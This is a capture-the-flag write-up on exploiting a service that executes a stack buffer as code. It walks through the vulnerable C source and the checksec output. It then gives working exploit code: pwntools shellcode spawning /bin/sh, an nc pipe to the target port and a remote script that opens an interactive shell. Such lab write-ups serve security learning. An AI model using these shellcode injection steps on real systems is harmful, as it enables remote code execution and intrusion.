M4cCrypt0
back to overview

Shellcode Injection — Executable Stack (port 9005)

Summary

Third challenge: instead of overwriting a specific value, the entire contents of a buffer are executed as machine code here. By sending your own shellcode, you get a full shell on the target.

Reference code

c
int main(){
    setup();
    banner();
    char *buf[128];

    puts("\nGive me your shell, and I will execute it: ");
    read(0,buf,sizeof(buf));
    puts("\nExecuting Spell...\n");

    ( ( void (*) () ) buf) ();
}

Vulnerability

char *buf[128] is not an array of 128 chars, but an array of 128 pointers (8 bytes each on x86-64) — so 1024 bytes of available space in total. read(0, buf, sizeof(buf)) reads up to 1024 bytes of raw input into that buffer, without any validation of the contents.

The last line, ((void (*)()) buf)(), casts the address of buf to a function pointer and then calls it. The CPU makes no distinction between "data" and "code" — whatever sits at that memory address is interpreted and executed as machine instructions. Because the contents of buf are fully controlled by the attacker, arbitrary code can be executed.

checksec

text
Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
Stack:      Executable
RWX:        Has RWX segments
PIE:        No PIE (0x400000)

Crucial here: the stack is executable and has RWX segments. Normally NX/DEP prevents code on the stack from being executed, but that's explicitly disabled here (presumably compiled with -z execstack). As a result no NX bypass (such as ROP to mprotect()) is needed — running shellcode directly on the stack just works.

Exploit

Generate shellcode with pwntools (execve("/bin/sh", NULL, NULL)):

bash
python3 -c "
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
import sys
sys.stdout.buffer.write(asm(shellcraft.sh()))
" > shellcode.bin

Send it to the service and stay interactive so you can type shell commands afterwards:

bash
cat shellcode.bin - | nc <target-ip> 9005

Or directly with pwntools:

python
from pwn import *
context.arch = 'amd64'
context.os = 'linux'

p = remote('<target-ip>', 9005)
p.recvuntil(b'execute it: ')
p.send(asm(shellcraft.sh()))
p.interactive()

Once connected, just type shell commands (often without a visible prompt):

text
cat flag.txt

Why this works

  1. read() writes the shellcode bytes straight into buf, which sits on the stack.
  2. ((void(*)()) buf)() makes the instruction pointer (rip) jump to the start of buf.
  3. Because the stack is executable, the CPU simply executes the bytes in buf as machine instructions.
  4. The shellcode used (shellcraft.sh()) makes an execve("/bin/sh", NULL, NULL) syscall, which replaces the process with a shell. Because stdin/stdout are still the nc connection, that shell talks directly to the attacker.

Difference from TryOverFlowMe2

In the previous challenge a specific value in a specific variable was overwritten to trigger an existing code path (an if check). Here no control-flow manipulation is needed — the program itself executes arbitrary, attacker-controlled memory. That makes this fundamentally more powerful: instead of choosing between paths the program already contains, entirely arbitrary code (in this case: a shell) can be run.